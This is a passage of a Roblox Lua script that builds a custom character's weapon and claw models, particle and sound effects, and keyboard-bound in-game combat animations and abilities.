  2507. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2508. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2509. handle.Touched:Connect(Damage_OnTouch)
  2510. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2511. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2512. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2513. Part.Touched:Connect(Damage_OnTouch)
  2514. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2515. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2516. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2517. Part.Touched:Connect(Damage_OnTouch)
  2518. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2519. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2520. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2521. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2522. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2523. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2524. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2525. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2526. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2527. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2528. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2529. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2530. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2531. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2532. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2533. local moosick = it("Sound",Character)
  2534. moosick.SoundId = "rbxassetid://613035749"
  2535. --142653441, 175067863
  2536. moosick.Looped = true
  2537. moosick.Pitch = 0.9775
  2538. moosick.Volume = 1.5
  2539. moosick:Play()
  2540.  
  2541. anim = Character:findFirstChild("Animate")
  2542. if anim then
  2543. anim:Destroy()
  2544. end
  2545.  
  2546. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2547. particleemitter.VelocitySpread = 180
  2548. particleemitter.Lifetime = NumberRange.new(0.1)
  2549. particleemitter.Speed = NumberRange.new(2)
  2550. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2551. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2552. particleemitter.Rate = 100
  2553. particleemitter.Rotation = NumberRange.new(-45, 45)
  2554. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2555. particleemitter.LightEmission = 0.8
  2556. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2557.  
  2558. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2559. particleemitter.VelocitySpread = 180
  2560. particleemitter.Lifetime = NumberRange.new(0.1)
  2561. particleemitter.Speed = NumberRange.new(2)
  2562. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2563. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2564. particleemitter.Rate = 100
  2565. particleemitter.Rotation = NumberRange.new(-45, 45)
  2566. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2567. particleemitter.LightEmission = 0.8
  2568. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2569.  
  2570. local particleemitter = Instance.new("ParticleEmitter", handle)
  2571. particleemitter.VelocitySpread = 180
  2572. particleemitter.Lifetime = NumberRange.new(0.1)
  2573. particleemitter.Speed = NumberRange.new(2)
  2574. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2575. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2576. particleemitter.Rate = 100
  2577. particleemitter.Rotation = NumberRange.new(-45, 45)
  2578. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2579. particleemitter.LightEmission = 0.8
  2580. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2581.  
  2582. local light = Instance.new("PointLight", Character.Torso)
  2583. light.Color = Color3.new(255,255,255)
  2584. light.Brightness = 5
  2585. light.Range = 15
  2586.  
  2587. particleemitter.Enabled = true
  2588.  
  2589. local Footsteps = it("Sound",Character.Torso)
  2590. Footsteps.SoundId = "rbxassetid://142665235"
  2591. Footsteps.Looped = true
  2592. Footsteps.Pitch = 0.8
  2593. Footsteps.Volume = 0.3
  2594.  
  2595. local Footsteps2 = it("Sound",Character.Torso)
  2596. Footsteps2.SoundId = "rbxassetid://142665235"
  2597. Footsteps2.Looped = true
  2598. Footsteps2.Pitch = 1
  2599. Footsteps2.Volume = 0.4
  2600.  
  2601. local cam = game.Workspace.CurrentCamera
  2602.  
  2603. --cam.CameraSubject = Character
  2604.  
  2605. for i,v in pairs(Head:children()) do
  2606. if v:IsA("Sound") then
  2607. v:Destroy()
  2608. end
  2609. end
  2610.  
  2611. mouse.Button1Down:connect(function()
  2612. if attack==false and attacktype==1 then
  2613. attacktype=2
  2614. attackone()
  2615. elseif attack==false and attacktype==2 then
  2616. attacktype=3
  2617. attacktwo()
  2618. elseif attack==false and attacktype==3 then
  2619. attacktype=4
  2620. attackthree()
  2621. elseif attack==false and attacktype==4 then
  2622. attacktype=1
  2623. attackfour()
  2624. end
  2625. end)
  2626.  
  2627. mouse.KeyDown:connect(function(k)
  2628. k=k:lower()
  2629. if k=='e' then
  2630. if attack==false and mana>=20 then
  2631. Push()
  2632. end
  2633. elseif k=='g' then
  2634. if attack==false and mana>=50 then
  2635. Twirl()
  2636. end
  2637. elseif k=='v' then
  2638. if attack==false and mana>=25 then
  2639. MagicJump()
  2640. end
  2641. elseif k=='c' then
  2642. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2643. attack=true
  2644. for i = 1, 40 do
  2645. swait()
  2646. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2647. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2648. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2649. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2650. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2651. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2652. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2653. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2654. end
  2655. Blaze()
  2656. attack = false
  2657. end
  2658. elseif k=='x' then
  2659. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2660. attack=true
  2661. for i = 1, 15 do
  2662. swait()
  2663. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2664. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2665. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2666. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2667. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2668. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2669. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2670. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2671. end
  2672. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2673. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2674. for i = 0, 30 do
  2675. BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2676. wait(0.1)
  2677. end
  2678. local parteffected = Instance.new("Part",tors)
  2679. parteffected.Transparency = 1
  2680. parteffected.Position = tors.Position
  2681. parteffected.CanCollide = false
  2682. parteffected.Anchored = true
  2683. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2684. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2685. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2686. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2687. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2688. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2689. local sbs = Instance.new("BodyPosition", RootPart)
  2690. sbs.P = 3000
  2691. sbs.D = 1000
  2692. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2693. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2694. for i = 1, 40 do
  2695. swait()
  2696. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2697. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2698. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2699. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2700. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2701. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2702. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2703. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2704. end
  2705. wait(3)
  2706. Blaze2()
  2707. attack = false
  2708. parteffected:Destroy()
  2709. sbs:Destroy()
  2710. end
  2711. elseif k=='q' then
  2712. if attack==false then
  2713. idle=1000
  2714. end
  2715. elseif k=='h' then
  2716. if attack==false then
  2717. mana=100
  2718. end
  2719. elseif k=='y' then
  2720. if attack==false and mana>=100 then
  2721. Shred()
  2722. end
  2723. elseif k=='f' then
  2724. if attack==false and mana>=40 then
  2725. Spin()
  2726. end
  2727. elseif k=='r' then
  2728. if attack==false and mana>=20 then
  2729. Clap()
  2730. end
  2731. elseif k=='t' then
  2732. if attack==false then
  2733. Hai()
  2734. end
  2735. elseif k=='0' then
  2736. if attack==false then
  2737. Humanoid.WalkSpeed=(24)
  2738. end
  2739. elseif k=='j' then
  2740. if attack==false then
  2741. Humanoid.Health = 10
  2742. print("Congrats, you commited suicide.")
  2743. end
  2744. end
  2745. end)
  2746.  
  2747. mouse.KeyDown:connect(function(k)
  2748. if k == "z" and Ultramode == false then
  2749. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2750. attack = true
  2751. for i = 1, 15 do
  2752. swait()
  2753. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2754. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2755. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2756. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2757. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2758. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2759. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2760. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2761. end
  2762. m:Destroy()
  2763. local m = Instance.new("Model", Character)
  2764. m.Name = "WeaponModel"
  2765. local parta = Instance.new("Part",Character)
  2766. parta.Size = vt(10,10,10)
  2767. parta.BrickColor = BrickColor.new("Really black")
  2768. parta.Material = "Neon"
  2769. parta.Shape = "Ball"
  2770. parta.Transparency = 0
  2771. parta.Anchored = true
  2772. parta.CanCollide = false
  2773. parta.CFrame = tors.CFrame
  2774. Transform()
  2775. parta:Destroy()
  2776.  
  2777. local modelzorzz=Instance.new("Model")
  2778. modelzorzz.Parent=Character
  2779. modelzorzz.Name="Claw1"
  2780.  
  2781. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2782. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2783. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2784. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2785. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2786. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2787. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2788. Part.Touched:Connect(Damage_OnTouch)
  2789. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2790. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2791. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2792. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2793. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2794. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2795. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2796. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2797. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2798. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2799. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2800. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2801. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2802. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2803. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2804. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2805. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2806. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2807. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2808. Part.Touched:Connect(Damage_OnTouch)
  2809. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2810. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2811. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2812. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2813. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2814. Part.Touched:Connect(Damage_OnTouch)
  2815. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2816. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2817. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2818. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2819. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2820. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2821. Part.Touched:Connect(Damage_OnTouch)
  2822. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2823. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2824. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2825. Part.Touched:Connect(Damage_OnTouch)
  2826. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2827.  
  2828. local modelzorzz2=Instance.new("Model")
  2829. modelzorzz2.Parent=Character
  2830. modelzorzz2.Name="Claw2"
  2831.  
  2832. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2833. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2834. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2835. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2836. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2837. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2838. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2839. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2840. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2841. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2842. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2843. Part.Touched:Connect(Damage_OnTouch)
  2844. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2845. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2846. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2847. Part.Touched:Connect(Damage_OnTouch)
  2848. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
